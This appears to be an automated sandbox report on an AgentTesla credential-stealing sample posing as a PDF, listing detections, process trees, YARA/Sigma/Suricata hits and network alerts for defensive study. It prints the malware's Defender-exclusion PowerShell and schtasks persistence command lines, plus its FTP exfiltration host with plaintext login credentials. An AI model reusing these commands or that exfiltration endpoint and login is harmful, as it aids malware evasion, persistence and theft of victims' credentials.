Edit tour

Windows Analysis Report
z38PO_20248099-1_pdf.exe

Overview

General Information

Sample name:	z38PO_20248099-1_pdf.exe
Analysis ID:	1518233
MD5:	5d5b5ecc06b9058d0ec3199ed8617cfe
SHA1:	cbb1a95878e8a7a4ac09270a6dc7699c78996e28
SHA256:	0a58b574ccfb2898c4ee47a8dab29174c2193731573d4578b7b5ff83ad1196d6
Tags:	AgentTeslaexeuser-Porcupine
Infos:

Detection

AgentTesla

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Found malware configuration

Malicious sample detected (through community Yara rule)

Multi AV Scanner detection for dropped file

Multi AV Scanner detection for submitted file

Sigma detected: Scheduled temp file as task from temp location

Suricata IDS alerts for network traffic

Yara detected AgentTesla

Yara detected AntiVM3

.NET source code contains potential unpacker

AI detected suspicious sample

Adds a directory exclusion to Windows Defender

Connects to many ports of the same IP (likely port scanning)

Contains functionality to log keystrokes (.Net Source)

Hides that the sample has been downloaded from the Internet (zone.identifier)

Initial sample is a PE file and has a suspicious name

Injects a PE file into a foreign processes

Installs a global keyboard hook

Loading BitLocker PowerShell Module

Machine Learning detection for dropped file

Machine Learning detection for sample

Queries sensitive network adapter information (via WMI, Win32_NetworkAdapter, often done to detect virtual machines)

Sigma detected: Powershell Base64 Encoded MpPreference Cmdlet

Tries to harvest and steal Putty / WinSCP information (sessions, passwords, etc)

Tries to harvest and steal browser information (history, passwords, etc)

Tries to harvest and steal ftp login credentials

Tries to steal Mail credentials (via file / registry access)

Uses schtasks.exe or at.exe to add and modify task schedules

Allocates memory with a write watch (potentially for evading sandboxes)

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Creates a window with clipboard capturing capabilities

Detected TCP or UDP traffic on non-standard ports

Detected potential crypto function

Drops PE files

Enables debug privileges

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

Found inlined nop instructions (likely shell or obfuscated code)

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

May check the online IP address of the machine

May sleep (evasive loops) to hinder dynamic analysis

Queries sensitive BIOS Information (via WMI, Win32_Bios & Win32_BaseBoard, often done to detect virtual machines)

Queries sensitive processor information (via WMI, Win32_Processor, often done to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Sample execution stops while process was sleeping (likely an evasion)

Sample file is different than original file name gathered from version info

Sigma detected: CurrentVersion Autorun Keys Modification

Sigma detected: Powershell Defender Exclusion

Sigma detected: Suspicious Add Scheduled Task Parent

Sigma detected: Suspicious Schtasks From Env Var Folder

Uses 32bit PE files

Uses FTP

Uses a known web browser user agent for HTTP communication

Uses code obfuscation techniques (call, push, ret)

Yara detected Credential Stealer

Yara signature match

Classification

Process Tree

System is w10x64

z38PO_20248099-1_pdf.exe (PID: 7644 cmdline: "C:\Users\user\Desktop\z38PO_20248099-1_pdf.exe" MD5: 5D5B5ECC06B9058D0EC3199ED8617CFE)

powershell.exe (PID: 7816 cmdline: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\Desktop\z38PO_20248099-1_pdf.exe" MD5: C32CA4ACFCC635EC1EA6ED8A34DF5FAC)

conhost.exe (PID: 7824 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powershell.exe (PID: 7868 cmdline: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\AppData\Roaming\FrFvspxoHsPs.exe" MD5: C32CA4ACFCC635EC1EA6ED8A34DF5FAC)

conhost.exe (PID: 7908 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

WmiPrvSE.exe (PID: 4888 cmdline: C:\Windows\system32\wbem\wmiprvse.exe -secured -Embedding MD5: 60FF40CFD7FB8FE41EE4FE9AE5FE1C51)

schtasks.exe (PID: 7964 cmdline: "C:\Windows\System32\schtasks.exe" /Create /TN "Updates\FrFvspxoHsPs" /XML "C:\Users\user\AppData\Local\Temp\tmpD40B.tmp" MD5: 48C2FE20575769DE916F48EF0676A965)

conhost.exe (PID: 7972 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

z38PO_20248099-1_pdf.exe (PID: 8068 cmdline: "C:\Users\user\Desktop\z38PO_20248099-1_pdf.exe" MD5: 5D5B5ECC06B9058D0EC3199ED8617CFE)

z38PO_20248099-1_pdf.exe (PID: 8096 cmdline: "C:\Users\user\Desktop\z38PO_20248099-1_pdf.exe" MD5: 5D5B5ECC06B9058D0EC3199ED8617CFE)

FrFvspxoHsPs.exe (PID: 8172 cmdline: C:\Users\user\AppData\Roaming\FrFvspxoHsPs.exe MD5: 5D5B5ECC06B9058D0EC3199ED8617CFE)

schtasks.exe (PID: 5212 cmdline: "C:\Windows\System32\schtasks.exe" /Create /TN "Updates\FrFvspxoHsPs" /XML "C:\Users\user\AppData\Local\Temp\tmpEC46.tmp" MD5: 48C2FE20575769DE916F48EF0676A965)

conhost.exe (PID: 5968 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

FrFvspxoHsPs.exe (PID: 764 cmdline: "C:\Users\user\AppData\Roaming\FrFvspxoHsPs.exe" MD5: 5D5B5ECC06B9058D0EC3199ED8617CFE)

sgxIb.exe (PID: 1792 cmdline: "C:\Users\user\AppData\Roaming\sgxIb\sgxIb.exe" MD5: 5D5B5ECC06B9058D0EC3199ED8617CFE)

schtasks.exe (PID: 2320 cmdline: "C:\Windows\System32\schtasks.exe" /Create /TN "Updates\FrFvspxoHsPs" /XML "C:\Users\user\AppData\Local\Temp\tmp675.tmp" MD5: 48C2FE20575769DE916F48EF0676A965)

conhost.exe (PID: 1524 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

sgxIb.exe (PID: 3236 cmdline: "C:\Users\user\AppData\Roaming\sgxIb\sgxIb.exe" MD5: 5D5B5ECC06B9058D0EC3199ED8617CFE)

sgxIb.exe (PID: 3592 cmdline: "C:\Users\user\AppData\Roaming\sgxIb\sgxIb.exe" MD5: 5D5B5ECC06B9058D0EC3199ED8617CFE)

schtasks.exe (PID: 1292 cmdline: "C:\Windows\System32\schtasks.exe" /Create /TN "Updates\FrFvspxoHsPs" /XML "C:\Users\user\AppData\Local\Temp\tmp26DE.tmp" MD5: 48C2FE20575769DE916F48EF0676A965)

conhost.exe (PID: 4144 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

sgxIb.exe (PID: 4216 cmdline: "C:\Users\user\AppData\Roaming\sgxIb\sgxIb.exe" MD5: 5D5B5ECC06B9058D0EC3199ED8617CFE)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
Agent Tesla, AgentTesla	A .NET based information stealer readily available to actors due to leaked builders. The malware is able to log keystrokes, can access the host's clipboard and crawls the disk for credentials or other valuable information. It has the capability to send information back to its C&C via HTTP(S), SMTP, FTP, or towards a Telegram channel.	SWEED	http://blog.nsfocus.net/sweed-611/ http://l1v1ngc0d3.wordpress.com/2021/11/12/agenttesla-dropped-via-nsis-installer/ http://ropgadget.com/posts/originlogger.html http://www.secureworks.com/research/threat-profiles/gold-galleon https://0xmrmagnezi.github.io/malware%20analysis/AgentTesla/	https://malpedia.caad.fkie.fraunhofer.de/details/win.agent_tesla

Malware Configuration

Threatname: Agenttesla

{"Exfil Mode": "FTP", "Host": "ftp://ftp.haliza.com.my", "Username": "origin@haliza.com.my", "Password": "JesusChrist007$"}

Yara Signatures

PCAP (Network Traffic)

Source	Rule	Description	Author	Strings
dump.pcap	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security

Memory Dumps

Source	Rule	Description	Author
00000013.00000002.1617599669.0000000000402000.00000040.00000400.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000013.00000002.1617599669.0000000000402000.00000040.00000400.00020000.00000000.sdmp	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
00000018.00000002.3861351736.0000000003091000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000018.00000002.3861351736.0000000003091000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
0000000A.00000002.3860883657.00000000028BC000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
00000013.00000002.1620262791.00000000030E5000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
00000018.00000002.3861351736.00000000030BC000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
0000000A.00000002.3860883657.0000000002891000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
0000000A.00000002.3860883657.0000000002891000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
0000000F.00000002.3860059633.00000000033EB000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
00000013.00000002.1620262791.00000000030C1000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000013.00000002.1620262791.00000000030C1000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
0000000F.00000002.3860059633.00000000033A1000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
0000000F.00000002.3860059633.00000000033A1000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
00000000.00000002.1447223274.0000000003BA9000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000000.00000002.1447223274.0000000003BA9000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
Process Memory Space: z38PO_20248099-1_pdf.exe PID: 7644	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: z38PO_20248099-1_pdf.exe PID: 7644	JoeSecurity_AntiVM_3	Yara detected AntiVM_3	Joe Security
Process Memory Space: z38PO_20248099-1_pdf.exe PID: 7644	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
Process Memory Space: z38PO_20248099-1_pdf.exe PID: 8096	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: z38PO_20248099-1_pdf.exe PID: 8096	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
Process Memory Space: FrFvspxoHsPs.exe PID: 764	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: FrFvspxoHsPs.exe PID: 764	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
Process Memory Space: sgxIb.exe PID: 1792	JoeSecurity_AntiVM_3	Yara detected AntiVM_3	Joe Security
Process Memory Space: sgxIb.exe PID: 3236	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: sgxIb.exe PID: 3236	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
Process Memory Space: sgxIb.exe PID: 4216	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: sgxIb.exe PID: 4216	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
Click to see the 23 entries

Unpacked PEs

Source	Rule	Description	Author	Strings
0.2.z38PO_20248099-1_pdf.exe.3c6e9a8.2.unpack	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
0.2.z38PO_20248099-1_pdf.exe.3c6e9a8.2.unpack	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
0.2.z38PO_20248099-1_pdf.exe.3c6e9a8.2.unpack	INDICATOR_SUSPICIOUS_EXE_VaultSchemaGUID	Detects executables referencing Windows vault credential objects. Observed in infostealers	ditekSHen	0x3317c:$s1: 2F1A6504-0641-44CF-8BB5-3612D865F2E5 0x331ee:$s2: 3CCD5499-87A8-4B10-A215-608888DD3B55 0x33278:$s3: 154E23D0-C644-4E6F-8CE6-5069272F999F 0x3330a:$s4: 4BF4C442-9B8A-41A0-B380-DD4A704DDB28 0x33374:$s5: 77BC582B-F0A6-4E15-4E80-61736B6F3B29 0x333e6:$s6: E69D7838-91B5-4FC9-89D5-230D4D4CC2BC 0x3347c:$s7: 3E0E35BE-1B77-43E7-B873-AED901B6275B 0x3350c:$s8: 3C886FF3-2669-4AA2-A8FB-3F6759A77548
0.2.z38PO_20248099-1_pdf.exe.3c6e9a8.2.unpack	MALWARE_Win_AgentTeslaV2	AgenetTesla Type 2 Keylogger payload	ditekSHen	0x30370:$s2: GetPrivateProfileString 0x2f9fa:$s3: get_OSFullName 0x3116b:$s5: remove_Key 0x31357:$s5: remove_Key 0x32275:$s6: FtpWebRequest 0x3315e:$s7: logins 0x336d0:$s7: logins 0x36427:$s7: logins 0x36493:$s7: logins 0x37f12:$s7: logins 0x3702d:$s9: 1.85 (Hash, version 2, native byte-order)
19.2.sgxIb.exe.400000.0.unpack	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
19.2.sgxIb.exe.400000.0.unpack	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
19.2.sgxIb.exe.400000.0.unpack	INDICATOR_SUSPICIOUS_EXE_VaultSchemaGUID	Detects executables referencing Windows vault credential objects. Observed in infostealers	ditekSHen	0x34f7c:$s1: 2F1A6504-0641-44CF-8BB5-3612D865F2E5 0x34fee:$s2: 3CCD5499-87A8-4B10-A215-608888DD3B55 0x35078:$s3: 154E23D0-C644-4E6F-8CE6-5069272F999F 0x3510a:$s4: 4BF4C442-9B8A-41A0-B380-DD4A704DDB28 0x35174:$s5: 77BC582B-F0A6-4E15-4E80-61736B6F3B29 0x351e6:$s6: E69D7838-91B5-4FC9-89D5-230D4D4CC2BC 0x3527c:$s7: 3E0E35BE-1B77-43E7-B873-AED901B6275B 0x3530c:$s8: 3C886FF3-2669-4AA2-A8FB-3F6759A77548
19.2.sgxIb.exe.400000.0.unpack	MALWARE_Win_AgentTeslaV2	AgenetTesla Type 2 Keylogger payload	ditekSHen	0x32170:$s2: GetPrivateProfileString 0x317fa:$s3: get_OSFullName 0x32f6b:$s5: remove_Key 0x33157:$s5: remove_Key 0x34075:$s6: FtpWebRequest 0x34f5e:$s7: logins 0x354d0:$s7: logins 0x38227:$s7: logins 0x38293:$s7: logins 0x39d12:$s7: logins 0x38e2d:$s9: 1.85 (Hash, version 2, native byte-order)
0.2.z38PO_20248099-1_pdf.exe.3c32188.3.unpack	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
0.2.z38PO_20248099-1_pdf.exe.3c32188.3.unpack	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
0.2.z38PO_20248099-1_pdf.exe.3c32188.3.unpack	INDICATOR_SUSPICIOUS_EXE_VaultSchemaGUID	Detects executables referencing Windows vault credential objects. Observed in infostealers	ditekSHen	0x3317c:$s1: 2F1A6504-0641-44CF-8BB5-3612D865F2E5 0x331ee:$s2: 3CCD5499-87A8-4B10-A215-608888DD3B55 0x33278:$s3: 154E23D0-C644-4E6F-8CE6-5069272F999F 0x3330a:$s4: 4BF4C442-9B8A-41A0-B380-DD4A704DDB28 0x33374:$s5: 77BC582B-F0A6-4E15-4E80-61736B6F3B29 0x333e6:$s6: E69D7838-91B5-4FC9-89D5-230D4D4CC2BC 0x3347c:$s7: 3E0E35BE-1B77-43E7-B873-AED901B6275B 0x3350c:$s8: 3C886FF3-2669-4AA2-A8FB-3F6759A77548
0.2.z38PO_20248099-1_pdf.exe.3c32188.3.unpack	MALWARE_Win_AgentTeslaV2	AgenetTesla Type 2 Keylogger payload	ditekSHen	0x30370:$s2: GetPrivateProfileString 0x2f9fa:$s3: get_OSFullName 0x3116b:$s5: remove_Key 0x31357:$s5: remove_Key 0x32275:$s6: FtpWebRequest 0x3315e:$s7: logins 0x336d0:$s7: logins 0x36427:$s7: logins 0x36493:$s7: logins 0x37f12:$s7: logins 0x3702d:$s9: 1.85 (Hash, version 2, native byte-order)
0.2.z38PO_20248099-1_pdf.exe.3c32188.3.raw.unpack	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
0.2.z38PO_20248099-1_pdf.exe.3c32188.3.raw.unpack	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
0.2.z38PO_20248099-1_pdf.exe.3c32188.3.raw.unpack	INDICATOR_SUSPICIOUS_EXE_VaultSchemaGUID	Detects executables referencing Windows vault credential objects. Observed in infostealers	ditekSHen	0x34f7c:$s1: 2F1A6504-0641-44CF-8BB5-3612D865F2E5 0x7179c:$s1: 2F1A6504-0641-44CF-8BB5-3612D865F2E5 0xaddbc:$s1: 2F1A6504-0641-44CF-8BB5-3612D865F2E5 0x34fee:$s2: 3CCD5499-87A8-4B10-A215-608888DD3B55 0x7180e:$s2: 3CCD5499-87A8-4B10-A215-608888DD3B55 0xade2e:$s2: 3CCD5499-87A8-4B10-A215-608888DD3B55 0x35078:$s3: 154E23D0-C644-4E6F-8CE6-5069272F999F 0x71898:$s3: 154E23D0-C644-4E6F-8CE6-5069272F999F 0xadeb8:$s3: 154E23D0-C644-4E6F-8CE6-5069272F999F 0x3510a:$s4: 4BF4C442-9B8A-41A0-B380-DD4A704DDB28 0x7192a:$s4: 4BF4C442-9B8A-41A0-B380-DD4A704DDB28 0xadf4a:$s4: 4BF4C442-9B8A-41A0-B380-DD4A704DDB28 0x35174:$s5: 77BC582B-F0A6-4E15-4E80-61736B6F3B29 0x71994:$s5: 77BC582B-F0A6-4E15-4E80-61736B6F3B29 0xadfb4:$s5: 77BC582B-F0A6-4E15-4E80-61736B6F3B29 0x351e6:$s6: E69D7838-91B5-4FC9-89D5-230D4D4CC2BC 0x71a06:$s6: E69D7838-91B5-4FC9-89D5-230D4D4CC2BC 0xae026:$s6: E69D7838-91B5-4FC9-89D5-230D4D4CC2BC 0x3527c:$s7: 3E0E35BE-1B77-43E7-B873-AED901B6275B 0x71a9c:$s7: 3E0E35BE-1B77-43E7-B873-AED901B6275B 0xae0bc:$s7: 3E0E35BE-1B77-43E7-B873-AED901B6275B
0.2.z38PO_20248099-1_pdf.exe.3c32188.3.raw.unpack	MALWARE_Win_AgentTeslaV2	AgenetTesla Type 2 Keylogger payload	ditekSHen	0x32170:$s2: GetPrivateProfileString 0x6e990:$s2: GetPrivateProfileString 0xaafb0:$s2: GetPrivateProfileString 0x317fa:$s3: get_OSFullName 0x6e01a:$s3: get_OSFullName 0xaa63a:$s3: get_OSFullName 0x32f6b:$s5: remove_Key 0x33157:$s5: remove_Key 0x6f78b:$s5: remove_Key 0x6f977:$s5: remove_Key 0xabdab:$s5: remove_Key 0xabf97:$s5: remove_Key 0x34075:$s6: FtpWebRequest 0x70895:$s6: FtpWebRequest 0xaceb5:$s6: FtpWebRequest 0x34f5e:$s7: logins 0x354d0:$s7: logins 0x38227:$s7: logins 0x38293:$s7: logins 0x39d12:$s7: logins 0x7177e:$s7: logins
0.2.z38PO_20248099-1_pdf.exe.3c6e9a8.2.raw.unpack	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
0.2.z38PO_20248099-1_pdf.exe.3c6e9a8.2.raw.unpack	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
0.2.z38PO_20248099-1_pdf.exe.3c6e9a8.2.raw.unpack	INDICATOR_SUSPICIOUS_EXE_VaultSchemaGUID	Detects executables referencing Windows vault credential objects. Observed in infostealers	ditekSHen	0x34f7c:$s1: 2F1A6504-0641-44CF-8BB5-3612D865F2E5 0x7159c:$s1: 2F1A6504-0641-44CF-8BB5-3612D865F2E5 0x34fee:$s2: 3CCD5499-87A8-4B10-A215-608888DD3B55 0x7160e:$s2: 3CCD5499-87A8-4B10-A215-608888DD3B55 0x35078:$s3: 154E23D0-C644-4E6F-8CE6-5069272F999F 0x71698:$s3: 154E23D0-C644-4E6F-8CE6-5069272F999F 0x3510a:$s4: 4BF4C442-9B8A-41A0-B380-DD4A704DDB28 0x7172a:$s4: 4BF4C442-9B8A-41A0-B380-DD4A704DDB28 0x35174:$s5: 77BC582B-F0A6-4E15-4E80-61736B6F3B29 0x71794:$s5: 77BC582B-F0A6-4E15-4E80-61736B6F3B29 0x351e6:$s6: E69D7838-91B5-4FC9-89D5-230D4D4CC2BC 0x71806:$s6: E69D7838-91B5-4FC9-89D5-230D4D4CC2BC 0x3527c:$s7: 3E0E35BE-1B77-43E7-B873-AED901B6275B 0x7189c:$s7: 3E0E35BE-1B77-43E7-B873-AED901B6275B 0x3530c:$s8: 3C886FF3-2669-4AA2-A8FB-3F6759A77548 0x7192c:$s8: 3C886FF3-2669-4AA2-A8FB-3F6759A77548
0.2.z38PO_20248099-1_pdf.exe.3c6e9a8.2.raw.unpack	MALWARE_Win_AgentTeslaV2	AgenetTesla Type 2 Keylogger payload	ditekSHen	0x32170:$s2: GetPrivateProfileString 0x6e790:$s2: GetPrivateProfileString 0x317fa:$s3: get_OSFullName 0x6de1a:$s3: get_OSFullName 0x32f6b:$s5: remove_Key 0x33157:$s5: remove_Key 0x6f58b:$s5: remove_Key 0x6f777:$s5: remove_Key 0x34075:$s6: FtpWebRequest 0x70695:$s6: FtpWebRequest 0x34f5e:$s7: logins 0x354d0:$s7: logins 0x38227:$s7: logins 0x38293:$s7: logins 0x39d12:$s7: logins 0x7157e:$s7: logins 0x71af0:$s7: logins 0x74847:$s7: logins 0x748b3:$s7: logins 0x76332:$s7: logins 0x38e2d:$s9: 1.85 (Hash, version 2, native byte-order)
Click to see the 15 entries

Sigma Signatures

System Summary

Sigma detected: Powershell Base64 Encoded MpPreference Cmdlet

Source: Process started

Author: Florian Roth (Nextron Systems): Data: Command: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\Desktop\z38PO_20248099-1_pdf.exe", CommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\Desktop\z38PO_20248099-1_pdf.exe", CommandLine|base64offset|contains: ~2yzw, Image: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Users\user\Desktop\z38PO_20248099-1_pdf.exe", ParentImage: C:\Users\user\Desktop\z38PO_20248099-1_pdf.exe, ParentProcessId: 7644, ParentProcessName: z38PO_20248099-1_pdf.exe, ProcessCommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\Desktop\z38PO_20248099-1_pdf.exe", ProcessId: 7816, ProcessName: powershell.exe

Sigma detected: CurrentVersion Autorun Keys Modification

Source: Registry Key set

Author: Victor Sergeev, Daniil Yugoslavskiy, Gleb Sukhodolskiy, Timur Zinniatullin, oscd.community, Tim Shelton, frack113 (split): Data: Details: C:\Users\user\AppData\Roaming\sgxIb\sgxIb.exe, EventID: 13, EventType: SetValue, Image: C:\Users\user\Desktop\z38PO_20248099-1_pdf.exe, ProcessId: 8096, TargetObject: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\sgxIb

Sigma detected: Powershell Defender Exclusion

Source: Process started

Sigma detected: Suspicious Add Scheduled Task Parent

Source: Process started

Author: Florian Roth (Nextron Systems): Data: Command: "C:\Windows\System32\schtasks.exe" /Create /TN "Updates\FrFvspxoHsPs" /XML "C:\Users\user\AppData\Local\Temp\tmpEC46.tmp", CommandLine: "C:\Windows\System32\schtasks.exe" /Create /TN "Updates\FrFvspxoHsPs" /XML "C:\Users\user\AppData\Local\Temp\tmpEC46.tmp", CommandLine|base64offset|contains: *j, Image: C:\Windows\SysWOW64\schtasks.exe, NewProcessName: C:\Windows\SysWOW64\schtasks.exe, OriginalFileName: C:\Windows\SysWOW64\schtasks.exe, ParentCommandLine: C:\Users\user\AppData\Roaming\FrFvspxoHsPs.exe, ParentImage: C:\Users\user\AppData\Roaming\FrFvspxoHsPs.exe, ParentProcessId: 8172, ParentProcessName: FrFvspxoHsPs.exe, ProcessCommandLine: "C:\Windows\System32\schtasks.exe" /Create /TN "Updates\FrFvspxoHsPs" /XML "C:\Users\user\AppData\Local\Temp\tmpEC46.tmp", ProcessId: 5212, ProcessName: schtasks.exe

Sigma detected: Suspicious Schtasks From Env Var Folder

Source: Process started

Author: Florian Roth (Nextron Systems): Data: Command: "C:\Windows\System32\schtasks.exe" /Create /TN "Updates\FrFvspxoHsPs" /XML "C:\Users\user\AppData\Local\Temp\tmpD40B.tmp", CommandLine: "C:\Windows\System32\schtasks.exe" /Create /TN "Updates\FrFvspxoHsPs" /XML "C:\Users\user\AppData\Local\Temp\tmpD40B.tmp", CommandLine|base64offset|contains: *j, Image: C:\Windows\SysWOW64\schtasks.exe, NewProcessName: C:\Windows\SysWOW64\schtasks.exe, OriginalFileName: C:\Windows\SysWOW64\schtasks.exe, ParentCommandLine: "C:\Users\user\Desktop\z38PO_20248099-1_pdf.exe", ParentImage: C:\Users\user\Desktop\z38PO_20248099-1_pdf.exe, ParentProcessId: 7644, ParentProcessName: z38PO_20248099-1_pdf.exe, ProcessCommandLine: "C:\Windows\System32\schtasks.exe" /Create /TN "Updates\FrFvspxoHsPs" /XML "C:\Users\user\AppData\Local\Temp\tmpD40B.tmp", ProcessId: 7964, ProcessName: schtasks.exe

Sigma detected: Non Interactive PowerShell Process Spawned

Source: Process started

Author: Roberto Rodriguez @Cyb3rWard0g (rule), oscd.community (improvements): Data: Command: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\Desktop\z38PO_20248099-1_pdf.exe", CommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\Desktop\z38PO_20248099-1_pdf.exe", CommandLine|base64offset|contains: ~2yzw, Image: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Users\user\Desktop\z38PO_20248099-1_pdf.exe", ParentImage: C:\Users\user\Desktop\z38PO_20248099-1_pdf.exe, ParentProcessId: 7644, ParentProcessName: z38PO_20248099-1_pdf.exe, ProcessCommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\Desktop\z38PO_20248099-1_pdf.exe", ProcessId: 7816, ProcessName: powershell.exe

Persistence and Installation Behavior

Sigma detected: Scheduled temp file as task from temp location

Source: Process started

Author: Joe Security: Data: Command: "C:\Windows\System32\schtasks.exe" /Create /TN "Updates\FrFvspxoHsPs" /XML "C:\Users\user\AppData\Local\Temp\tmpD40B.tmp", CommandLine: "C:\Windows\System32\schtasks.exe" /Create /TN "Updates\FrFvspxoHsPs" /XML "C:\Users\user\AppData\Local\Temp\tmpD40B.tmp", CommandLine|base64offset|contains: *j, Image: C:\Windows\SysWOW64\schtasks.exe, NewProcessName: C:\Windows\SysWOW64\schtasks.exe, OriginalFileName: C:\Windows\SysWOW64\schtasks.exe, ParentCommandLine: "C:\Users\user\Desktop\z38PO_20248099-1_pdf.exe", ParentImage: C:\Users\user\Desktop\z38PO_20248099-1_pdf.exe, ParentProcessId: 7644, ParentProcessName: z38PO_20248099-1_pdf.exe, ProcessCommandLine: "C:\Windows\System32\schtasks.exe" /Create /TN "Updates\FrFvspxoHsPs" /XML "C:\Users\user\AppData\Local\Temp\tmpD40B.tmp", ProcessId: 7964, ProcessName: schtasks.exe

Suricata Signatures

ET MALWARE AgentTesla Exfil via FTP

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-09-25T14:42:33.783691+0200	2029927	1	A Network Trojan was detected	192.168.2.9	49717	110.4.45.197	21	TCP
2024-09-25T14:42:39.600523+0200	2029927	1	A Network Trojan was detected	192.168.2.9	49723	110.4.45.197	21	TCP
2024-09-25T14:42:48.225577+0200	2029927	1	A Network Trojan was detected	192.168.2.9	55430	110.4.45.197	21	TCP

ETPRO MALWARE Agent Tesla CnC Exfil Activity

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-09-25T14:42:34.626804+0200	2855542	1	A Network Trojan was detected	192.168.2.9	49719	110.4.45.197	58009	TCP
2024-09-25T14:42:34.633344+0200	2855542	1	A Network Trojan was detected	192.168.2.9	49719	110.4.45.197	58009	TCP
2024-09-25T14:42:40.450522+0200	2855542	1	A Network Trojan was detected	192.168.2.9	49726	110.4.45.197	53264	TCP
2024-09-25T14:42:40.459740+0200	2855542	1	A Network Trojan was detected	192.168.2.9	49726	110.4.45.197	53264	TCP
